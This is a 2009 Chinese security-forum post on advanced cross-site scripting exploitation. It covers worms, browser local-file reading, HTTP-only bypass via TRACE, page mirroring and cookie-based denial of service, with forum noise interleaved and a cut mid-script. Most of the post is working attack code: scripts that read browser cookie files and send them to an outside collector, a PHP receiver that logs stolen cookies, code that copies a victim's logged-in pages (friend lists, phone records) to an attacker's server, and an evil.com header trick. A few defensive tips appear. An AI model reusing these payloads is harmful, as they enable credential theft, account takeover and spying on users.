XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑
+ c/ \; M5 t" {9 I3 ~1 Q6 |
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
! V0 J  n7 ~4 Y# O! f8 t  |By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
6 p' t5 m9 q  }( Q4 f转帖请保留版权
$ n4 _& T4 w4 t: ^! {# R5 @


-------------------------------------------前言---------------------------------------------------------


% k+ K) u( O/ F( [6 F$ ~( I, j本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.

" k. w1 Y* c, L) |+ }& S5 T" \) u3 q- q
如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
1 j2 o6 j/ k2 J) n" E% s7 xhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
2 J0 S4 z! h; k1 |8 ~9 r2 Khttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
2 R4 J3 N2 S, M9 [) b3 hhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
1 _, m  ]* M9 j2 T
/ Y1 E8 ]; I# }( F$ e
% Q% ~, e; |5 N- U
. I) K1 Z% D. ]  t3 e
% x, D9 |6 M# p. ?4 R0 C如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

. I# K' U8 T% Q* ]4 |% h希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
5 t/ R& y; n8 D! y! [' v& ^4 A6 D
: T+ s1 Y. g$ j如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
9 z6 R' P: ]: F6 Q0 {2 W: N! I7 M
. S1 w1 C) M' C% v# `QQ ZONE,校内网XSS     感染过万QQ ZONE.
) |, x# a  T; e
& I9 t2 x. p; K4 ROWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
  y! @: j" M" [! G" ^; t
$ ~( ?( D; y5 k7 S6 i..........
$ {. e; F1 z* Y) i2 J& h复制代码------------------------------------------介绍-------------------------------------------------------------
7 {2 y( s3 J- t- v7 y
  n8 F- R# W' Z什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.

$ i/ l; }% M' h1 q8 o( V
5 ]( Y: V" w+ t( e; b, o6 |* @; j) j
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
; D; V& B  [; E- f: J

- F) a3 z; O+ c: R/ c) m
如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
+ v' J% m4 [( ?) P* ^我们在这里重点探讨以下几个问题:

, l! B" E8 _7 n1 P1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

1 q5 W. T" U0 |1 c! n6 T3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.


# G1 C1 ~2 y4 J+ J! m. I
" @) }5 A/ N- c; I+ Q0 k------------------------------------------研究正题----------------------------------------------------------

$ r" f& K0 [" b; Y( N! b$ J

) ?+ W0 N! q3 r: S. ~7 Y/ g通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
' z/ M7 X, [" |9 ?3 O2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.


7 z/ z; }9 n% L# ~" q- o

% b8 u4 G" f8 p. ^* c8 v1 k, n: G! o
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
7 p. R; R  ?% A
' b" C" k! O3 U& b7 {2 p我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)


  v, u: i" x! k8 O" N( @
    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
  A* \& w1 n! ~* I; r


    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。

. J7 O) E! \6 s0 @/ s; t& w! R* A  ~
& q) n5 A6 }' [2 c5 q# Z$ a( u
1 _# Z& B/ C/ l  j% S1 f    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
5 Y3 ^# c- I' C2 T1 Z复制代码IE6使用ajax读取本地文件    <script>
; S* _' \7 g& @- N+ l4 n" Z
    function $(x){return document.getElementById(x)}

! |. S7 i) {, G2 r- L. h

    function ajax_obj(){
  m% y" g. |, C: l
    var request = false;
( C4 S2 Z( |/ N; h! F! M5 W
    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
2 H7 ]' t+ {$ N/ I
    } else if(window.ActiveXObject) {

8 x- ]$ c/ F; J. o2 x8 L; `, _- U    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {

: q$ F8 N" X) T2 m# [+ V    try {

    request = new ActiveXObject(versions);
3 o: ?% Q6 ^/ P# l
' M1 S' P4 r, g- A6 ]- x1 K    } catch(e) {}
- L3 n, r! l5 s1 P! w
    }
9 |$ C2 o0 q& \( v
! c4 n: U' i& x, |6 S2 I    }
1 w, P) a; q: W
  o3 [  A: g# ?" k; _1 y# A' o6 i    return request;

0 {- d0 ]% S) Z' _$ P    }

    var _x = ajax_obj();

: E# ?- p& {$ C' D5 N1 n: [; y5 a8 y    function _7or3(_m,action,argv){

2 b3 X2 B9 K6 i2 A- x    _x.open(_m,action,false);
/ T5 T" _+ d# |
: i3 g8 q9 f2 J* S: Z) Z    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
0 ]4 }0 {8 G$ z) Y7 _% K# @4 D/ t, l
& r4 F  A$ f0 @+ f0 y    _x.send(argv);
1 J8 e: ~- ~! t# u8 L1 q, I
    return _x.responseText;
* [9 X9 l7 k9 i+ c. ?& o
    }

, {. U- H5 ]$ K2 N) ^% }+ E& Y5 u
1 r# r, S8 d! \
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
! N+ \5 a+ t3 ^; t' N
7 O$ z  J; N7 S    alert(txt);


/ k, l) d/ T7 W7 z* u
    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
0 r  a) f2 a6 ~7 z! Q$ g# O4 w
    function $(x){return document.getElementById(x)}
4 H! F8 C" p/ p


    function ajax_obj(){
5 z! c2 h) s. G- m
* |# i. t1 j: P) _    var request = false;

8 A- S4 I: f' Z* v    if(window.XMLHttpRequest) {

% i" U4 G. o: V# i8 P- k8 \    request = new XMLHttpRequest();

1 C5 p, F* ]1 Q0 Q    } else if(window.ActiveXObject) {

# e% g- M' s7 s! F. D* _: N    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
3 d7 k& S/ A$ U1 C& x& L# f' q' j1 ^
! x* ]$ T+ m; m% L* O, T

' J; Z2 G( X; E- N! X7 v& e    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
2 X' W  `0 Q3 w  X& f7 H
$ c* B$ G* t" a- O5 N3 y* t( z) ^    for(var i=0; i<versions.length; i++) {

& G9 b+ \! Z2 p* X    try {
: f7 _& Q* ~; D# M- u0 J6 d9 q! R
2 ]1 f/ Z! |4 y2 i    request = new ActiveXObject(versions);

    } catch(e) {}

    }
7 f" u* [3 l: m
& U  W( y: ~  n: C- I$ V* d    }
5 N3 X4 V; H1 [, D$ L( H
4 j- u$ V& m* B/ b! ]3 P0 ^) S    return request;
% D# K0 A+ N7 W% y7 I
+ `1 W. r: j/ J! p9 Y    }
( n! o' K9 A/ ]+ j
    var _x = ajax_obj();

- v# b/ e  O4 U5 v0 A2 h    function _7or3(_m,action,argv){

/ h: ^  s3 d" i% U    _x.open(_m,action,false);
" V+ E, n+ D) X" ^1 G* E+ D
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
- P! T) s) i& ~$ T& O; x! ?- F
    _x.send(argv);
' q: v0 Q4 y+ T  u8 s1 a! O
    return _x.responseText;

) Y' H7 }* ^, \& I8 M6 N    }
7 E) y3 S1 c2 r) N- p' J' V" l9 S) b7 W


* ?& d8 a3 ^( g. w  O; H' r4 y' v    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);


  `( H6 B! n/ O' {) @
8 c8 g3 B  `: k( i1 c5 y    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”



3 d7 S- N! C, g( E3 |+ JChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"


+ }' N" Z! T2 F; [
<?   
# U3 E0 J) Z3 v) U- H: _0 Z' D" o
/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
4 |6 E7 [' N0 t/ W# f
     www.inbreak.net   

( \* i) f, H& T# e& n) r     author voidloafer@gmail.com 2009-4-22   
, v+ A! ^$ M2 s: Y$ I
$ i: t0 l% {: ^# n* `     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
; J" u& l' e" X, i4 w3 R! Q# f
*/  
! D* Z: I1 C9 F2 x; _" t6 g
header("Content-Disposition: attachment;filename=kxlzx.htm");   
# B3 Q4 `; n* W
3 _! k1 t5 f4 K' K) K7 L+ j5 rheader("Content-type: application/kxlzx");   

/*  

     set header, so just download html file,and open it at local.  
; j  b! ~$ {" ]1 T5 T  I
- O1 P+ G, E7 R  Q* m*/  

?>   
3 d4 b- U& ^, n& v1 p' r0 A# x
+ l# o: W: m+ Y& \, x3 u& X7 {<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

     <input id="input" name="cookie" value="" type="hidden">   

</form>   

<script>   

function doMyAjax(user)   
7 L5 v4 \$ ^' m8 x2 N
9 j. z* ^0 e% q4 U( p{   

. J" H  V# }8 z, u: Dvar time = Math.random();   

/*  

the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
+ }" K6 m' W8 y6 C
6 x  X9 H% w' Xand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

) o  E' O; d4 b9 q& w8 Uand so on...  
% S  W5 l( i0 v# M% P# `! w1 @
*/  
/ ^. ]& U( |3 R3 W
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
8 d; M4 k0 \6 a- o$ ~8 y
   
9 \' G8 J$ p2 q* W. r  _
; Z& v0 L! t- g  _& E: [! q$ W! bstartRequest(strPer);   
. v  j5 t' B9 v. S# t( G8 h

+ b) q/ S+ n/ }. Q  p! J
}   
) V' P2 f* ~2 R, F; N( A! ~
3 P. f! g; X8 k2 H! e4 _' g2 K   

function Enshellcode(txt)   

3 g3 I+ c' h7 c{   

1 j8 o/ Q' n9 {8 h. |: Q/ X3 Dvar url=new String(txt);   

3 y+ w2 G/ k& z+ lvar i=0,l=0,k=0,curl="";   

l= url.length;   

+ I. c+ e" o8 ?0 b4 A/ Lfor(;i<l;i++){   
; q# U' _" Z/ v% q
k=url.charCodeAt(i);   
! |5 z: K- h5 D  s7 z$ W% j
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
; Y: W, f, w( x! U$ D
if (l%2){curl+="00";}else{curl+="0000";}   

1 J9 t+ w( x- g; [; x5 f" ycurl=curl.replace(/(..)(..)/g,"%u$2$1");   
# U& w0 P1 d8 A2 }* n- ~
return curl;   
0 ~" G5 H* @" ?; Q0 Y
}   

   

   

var xmlHttp;   

1 a. A8 K: K4 @$ Z9 Zfunction createXMLHttp(){   

( m4 i( _4 S: O$ Q2 ~     if(window.XMLHttpRequest){   
  t7 `- {: Y" e% S, F9 }
* v6 z# [9 X* _7 O. TxmlHttp = new XMLHttpRequest();           

     }   
2 B4 r0 @' I& K
     else if(window.ActiveXObject){   
( @% L$ R. M9 h( v2 A
& m. O8 |; `) M; ExmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
- L8 }8 h9 {8 I, x. N3 W1 y, g) A, c
     }   

}   
) e+ w! H4 g0 t0 [& a0 H
7 o: p6 h* e+ C/ i* Z   
! Q1 C8 c7 _. H, H+ S" {8 g
function startRequest(doUrl){   
* ]7 b4 ~4 c7 d2 a$ T( {) o& P
  |! o0 E0 j) L' J! u5 m   

! p6 L$ L3 h6 I1 G     createXMLHttp();   


. ]- o9 |& ~3 E3 u0 P9 L
6 M1 P, R  @0 d% M# k     xmlHttp.onreadystatechange = handleStateChange;   

; P  V' Z/ g7 d+ j2 N

9 |* Q4 N- S% K0 j! t8 C$ ]( G     xmlHttp.open("GET", doUrl, true);   
" n4 E$ s) G9 \9 Y# y. {$ b


     xmlHttp.send(null);   

$ m3 E6 n* w& v9 {
! {5 y5 o/ g! u/ {$ g% K
/ g" M3 v1 D2 I

}   
8 H& |, R8 k' v
5 s: x' n  G+ X, O$ z   
+ m3 i) p/ Q  q5 P3 h' D! z
; g& ~* k" d" e' l- @7 h7 [9 Afunction handleStateChange(){   

     if (xmlHttp.readyState == 4 ){   
4 T% h6 D8 L) g. K7 j
     var strResponse = "";   

     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

        
9 p( Z' {8 }9 u! n% I3 ?
     }   

- T4 n: T  V; j+ G% F8 ~}   

   

4 F: I4 l& e" C% `2 |; O   

. R# v  M+ m" m8 ~7 b, r0 {( j, Ufunction framekxlzxPost(text)   
# p3 ^$ @* a% w  E9 y4 o5 S
{   
0 R+ x$ E% G9 {2 T  L
     document.getElementById("input").value = Enshellcode(text);   

     document.getElementById("form").submit();   
% M0 z$ `2 d2 Y- Y) q8 k) E) v& v
# V5 P& {# g/ r" J}   
9 y& ~& |7 N7 W4 G& u
   
; U% J& N+ J: k9 ~. I4 ?$ n* D
6 I6 V# \1 N5 z5 cdoMyAjax("administrator");   

   
6 L) t# w# k) p& _7 y
</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

var xmlHttp;  

1 z0 D9 i, u* ^1 u; D! t. wfunction createXMLHttp(){  

4 I, M# @) Z5 x0 [! O+ B     if(window.XMLHttpRequest){  
7 v/ w, w0 d: n1 B2 P$ {
         xmlHttp = new XMLHttpRequest();         

     }  
% r. A5 h* R1 L  v2 i/ r) c6 ^2 A
     else if(window.ActiveXObject){  

6 v2 k3 }" x5 ^, E         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

. C! P/ W7 h7 x  H# N; n1 p     }  
! M: U; G7 ]2 }; v% F+ ]
}  
6 g7 R7 A" t8 ^8 ^6 J8 w9 Z6 a
   
' V( q7 C" E2 o2 H' b  O) O
8 M% p; v1 H1 \3 w: q( B2 k; Mfunction startRequest(doUrl){  
- V) u& J/ V! u9 n9 f. @! O
0 A! e+ ^" w0 U           
7 ?. g' f, M: t' M
     createXMLHttp();  
6 G6 n( e3 h" C3 N9 \/ X; m- a
8 `2 u) B+ k. q& Y6 h' f- O8 q+ V: a      

6 P" j+ x7 T: A  |) x3 B     xmlHttp.onreadystatechange = handleStateChange;  

      
; M* u. Y" H# e! Y. |$ Y
     xmlHttp.open("GET", doUrl, true);  

$ W6 _/ b1 J/ ?3 D. ?0 [      

" O  w$ U3 G' t* _8 {     xmlHttp.send(null);  
* q) X( p# \( e* |6 A3 C' X/ C
      

2 \* u5 J" z* e1 D      
2 z0 |1 A' x( t
5 D: H& e% f8 t8 H}   
& a, U* ]/ Y6 s( f
4 ]; Z* D" Q5 |4 e   
. ?3 w% w6 w4 |2 x/ o) m
function handleStateChange(){  

     if (xmlHttp.readyState == 4 ){  

             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

- r' U% Q, d0 D9 N               

3 y% B; Q4 _: S. j. }     }  

+ [; s' ]2 t3 g0 n6 A}  

   
8 c' J4 s+ ]& T
& k4 N$ u3 U$ s3 sfunction doMyAjax(user,file)  

$ B7 l8 x5 y2 H* R* `) O; ]  F{  
) B& e/ [" A0 F' o! o7 \
         var time = Math.random();  

% ~+ f0 B" R6 d9 M' k           
2 u7 Y4 J' ^" S
         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
0 [  R  y1 j7 L" o6 K
+ ~7 i9 w/ m4 @' d8 b1 U5 a0 r% p. l           
' d0 `7 A8 O$ R: Q" F
+ M( n3 |9 Y8 {  }2 q; a         startRequest(strPer);  

4 O  ~+ L7 T) R* b+ h1 M      
+ I) h) B. G& ~: N
. p2 m% [; U6 {0 K& G0 ]}  
% P$ B9 D, J) |  M
   
, F& i/ l2 v! e. ^
- v! C9 R: R  @: x) u  X% o  ~& F" _function framekxlzxPost(text)  
' o) q% m& y2 m, C
+ }% y- z* h5 h5 b{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  
$ B3 P* b  W8 }: F& f* r
# g5 v5 [. ~8 `  t' e* K& M) r}  
' g9 c# {' ~) O- U  K
   
! b6 c1 E" T; u' b
3 B' L4 E1 H$ ]2 Y: L- t2 fdoMyAjax('administrator','administrator@alibaba[1].txt');  
) V) O" n: b9 }
: g3 U9 I) e1 [3 ~   

</script>
) S2 c  p* Q/ Q3 w7 R- n, {: B
5 q, Q) D& \" q2 X3 K5 M

6 Y7 \5 q5 i+ r& p
( m# X* y6 t' S
a.php
- t+ D: e4 \# [4 h
4 h! ?& ~! v6 ?' J

& _) H* h8 S5 n* T4 ?<?php      

) f8 o- k% c& s4 z   

$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
# f" w) |. {: k) O
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
5 R$ @! c* I* `
  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

fwrite($fp,$_GET["cookie"]);      

fclose($fp);   

?>
5 ]6 {8 P( |, j. ?9 }5 m复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
3 F4 _, ]1 w. ]
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

0 V# j- |7 q3 r6 q6 x代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
# r% A8 Y* k: Q' T1 v" }
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

' y$ l# V7 p1 {, B7 N//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
5 L- u6 F) p- O$ n" y
function getURL(s) {
( q6 Z; T' M; Z+ n  _
var image = new Image();
* p5 c( e" W3 h4 |
1 G5 I% _5 n- i+ m; w: _# K9 q# ^' Gimage.style.width = 0;

image.style.height = 0;

image.src = s;

7 \( u$ ]. s7 [- g, L7 h3 y}

getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
  U" R5 h" q6 D' ^4 P& _3 x! t复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
( {3 S% L: ~9 Q% ~7 h" l% g这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A
" S! l! @4 c  A# y: f
$ o; K" x  X! H& H" I) S" O3 wvar str = "";
; _) s+ n" \  @, f3 |* J
" E( H  z3 J) Z8 u. @2 z( Hwhile (str.length < 4000){

    str += metastr;
( w0 r% {- y" R, R3 h5 U
}
! a! r( ~' H2 d) a" }+ I
8 m. h3 k! I8 v
: W  u; Q# ]- ^
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
  G  t/ R: P5 l4 \
! }& d1 A8 ^5 I/ T. y</script>
* i& Y9 u' o- H9 ~& P8 P! [1 F. W
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
* h' f2 F& \7 p& ~8 m6 Y+ t4 @复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
: r3 O! W1 D# \) ]4 E6 aserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
* A4 d1 f8 Y% n) H$ q9 J, G: z5 Y7 a
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
! U! w4 c$ f& t

( O3 Z  e/ C. J2 f7 p( X2 w: J
) j/ R7 X) ?! P) _6 z2 A
9 }$ z& j' v) ?, d1 B
# n' s# D1 `& ^4 {
(III) Http only bypass 与 补救对策:
* N7 W8 g+ ]4 _" b& H7 k
. [$ I/ r7 \$ {1 Z# s, b! a& d. X什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
1 L- B2 N. Y& k# Y; r6 w以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
2 s0 O4 C- n1 a0 E$ Z3 B9 Z  K( k: l( \
2 a' Z3 M$ J1 k! u" ]' ]3 N<!--

function normalCookie() {
3 @$ b* o0 _& f* V( M1 _
1 E/ C/ E( i( v, a8 J: Ddocument.cookie = "TheCookieName=CookieValue_httpOnly";
: ^) V  A2 n* I* b( U% y
alert(document.cookie);

7 ]: V. u( k9 ]& D( W}
6 n6 N) w- w; A! Q) ^' r
* w! ?; W6 t. t
5 _# F/ L2 X) _/ ~. c2 k
* `2 C& P8 @' I7 {
" A4 W$ c, i# V5 O$ p
function httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
4 |. t2 Q% X7 i% M( z4 S
$ @! U  u# T$ c3 s; Q) ~% Valert(document.cookie);}
) m/ v- _+ z7 n! u9 u& T7 o
7 R3 [) S2 f* m

$ x. w7 Z9 r8 z1 K9 Y) B% K; M//-->
4 \8 P! J0 \9 B0 y8 P
0 ]; X2 t6 p# A</script>
8 C) s2 P. E- w3 F5 @" J2 t) u7 \+ g


<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

4 N7 b  R' W$ a! q: C<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>

) U8 ?( t/ k1 x8 Q. l. W
, d- R& T! Q- r- q, Q& ~
var request = false;

  r8 `# x0 E. g& h9 E        if(window.XMLHttpRequest) {
) F, C6 z  h! p, Q
            request = new XMLHttpRequest();
8 ~1 B5 i8 k/ x) a) R' q
            if(request.overrideMimeType) {

                request.overrideMimeType('text/xml');

6 k$ O. r# G6 }! X5 U  |            }

; o7 D' ?4 T1 N% N3 J        } else if(window.ActiveXObject) {
' U  J4 M) y+ |2 X$ L
            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {

4 `7 p5 J- s9 F% N                try {

* P. U/ D' N, T$ P5 c5 C* w* p                    request = new ActiveXObject(versions);
" @# P( }% u* p: P6 I. l2 X$ R* W( D
                } catch(e) {}
$ _/ ^: W( ~+ K1 G: E/ |$ ~$ k
8 O4 m/ D2 K- Z$ Z            }

5 u  _) }) o- P2 e        }

xmlHttp=request;
& l4 R6 r  b3 B0 Z$ K  Z
xmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);
0 T4 ~+ m$ i2 o3 P; F
xmlDoc=xmlHttp.responseText;
3 d1 ~/ k* H* H" T& b0 ~
# l' w# Y  e; zalert(xmlDoc);

" `+ c5 a0 A( |7 @" z+ P" b3 v</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
3 t$ Q: B9 l* Y) v2 T8 B2 ?4 N
$ B# G! ^5 k4 ~, F; hvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

4 q0 N* P- x' o# MXmlHttp.open("GET","http://www.google.com",false);
9 n/ z5 R! d3 s+ }
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

7 t+ s4 _* ?) [& c0 f) Z2 bXmlHttp.send(null);

' ~: Y* d" {9 ^9 Q. [var resource=xmlHttp.responseText

, B8 n  k" R& k& {" }resource.search(/cookies/);

( s$ c/ i# a: u* {: z( ^/ `......................
4 U1 p9 S( }4 o
& C; J3 N% q# J" n3 e</script>


+ n8 ^' a8 e' O1 m
8 w; Y# J+ [$ `

如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
, I: }- i5 t1 ?5 ]2 P, [2 e
; P* U* w# [. |( q7 c" ~: I[code]
: Z; }( O) _' O9 y
1 J9 F( |& [8 c4 \RewriteEngine On
$ x  a# D/ j# m( Q( K) d! S! V
RewriteCond %{REQUEST_METHOD} ^TRACE

RewriteRule .* - [F]

+ u* m- m" ^' A& p8 e: s6 o; C2 H$ ?
. q  c. @1 S5 v+ q; l
* f. F: ]! s6 RSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

acl TRACE method TRACE
; o( q% f' x& L! ~; C; _5 z+ t
...

0 }6 u& V4 U" c6 q6 Z' ?, h) B! ohttp_access deny TRACE
7 X% [1 z& a# H6 ~; F( a) F# F* ~! x复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
. z9 ]9 o( f. A! q  O7 X
! _+ {/ j! L. ~2 ivar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
5 Y1 E; v! d, G8 I
XmlHttp.open("GET","http://www.google.com",false);
$ G7 F' l4 c3 Y, C+ z# |8 A
